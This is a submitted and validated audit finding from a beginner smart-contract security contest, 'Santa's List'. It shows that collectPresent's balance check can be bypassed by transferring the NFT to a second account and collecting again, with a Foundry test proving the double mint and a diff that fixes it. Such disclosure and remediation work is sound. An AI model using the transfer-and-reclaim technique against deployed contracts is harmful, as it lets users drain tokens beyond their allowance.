First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Users Can Collect Multiple Presents

pacelli

Summary

A key invariant of the protocol is

An address is only allowed to collect 1 NFT per address, there is a check in the codebase to prevent someone from minting duplicate NFTs.

But this it's possible for users once they get NICE or EXTRA_NICE eligibility to collect as many tokens as they want.

Vulnerability Details

The function SantasList::collectPresent contains a check to verify if an user already claimed a present by checking the balance of the user.

if (balanceOf(msg.sender) > 0) {
revert SantasList__AlreadyCollected();
}

But an user can easily circumvent this check by transferring the token to a second account to gain access the function again to collect a second present. This process can be repeated by the user many times.

This attack is possible because the eligibility of the user is not set to NOT_CHECKED_TWICE after minting the presents.

Proof of Concept

Paste the following test in SantasListTest.t.sol to test this vulnerability.

POC
function testSecurityReview__UserCanCollectMoreThanOneNFT() public {
address userSecondAccount = makeAddr("USER_SECOND_ACCOUNT");
​
// santa give `EXTRA_NICE` eligibility to user
vm.startPrank(santa, santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
​
// jump in time to christmas
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
// first mint
vm.startPrank(user, user);
santasList.collectPresent();
santasList.transferFrom(user, userSecondAccount, 0);
​
// second mint
vm.startPrank(user, user);
santasList.collectPresent();
​
// assert user hold 2 SantaTokens
assertEq(santaToken.balanceOf(user), 2e18);
}
​

Impact

Invariant of the protocol broken.

Tools Used

Foundry and VS Code

Recommendations

Don't check the balance of the user and instead set the status of the user to NOT_CHECKED_TWICE.

function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
- if (balanceOf(msg.sender) > 0) {
- revert SantasList__AlreadyCollected();
- }
if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
+ s_theListCheckedOnce[msg.sender] = Status.NOT_CHECKED_TWICE;
+ s_theListCheckedTwice[msg.sender] = Status.NOT_CHECKED_TWICE;
_mintAndIncrement();
return;
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
+ s_theListCheckedOnce[msg.sender] = Status.NOT_CHECKED_TWICE;
+ s_theListCheckedTwice[msg.sender] = Status.NOT_CHECKED_TWICE;
_mintAndIncrement();
i_santaToken.mint(msg.sender);
return;
}
revert SantasList__NotNice();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Already Collected Check

Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!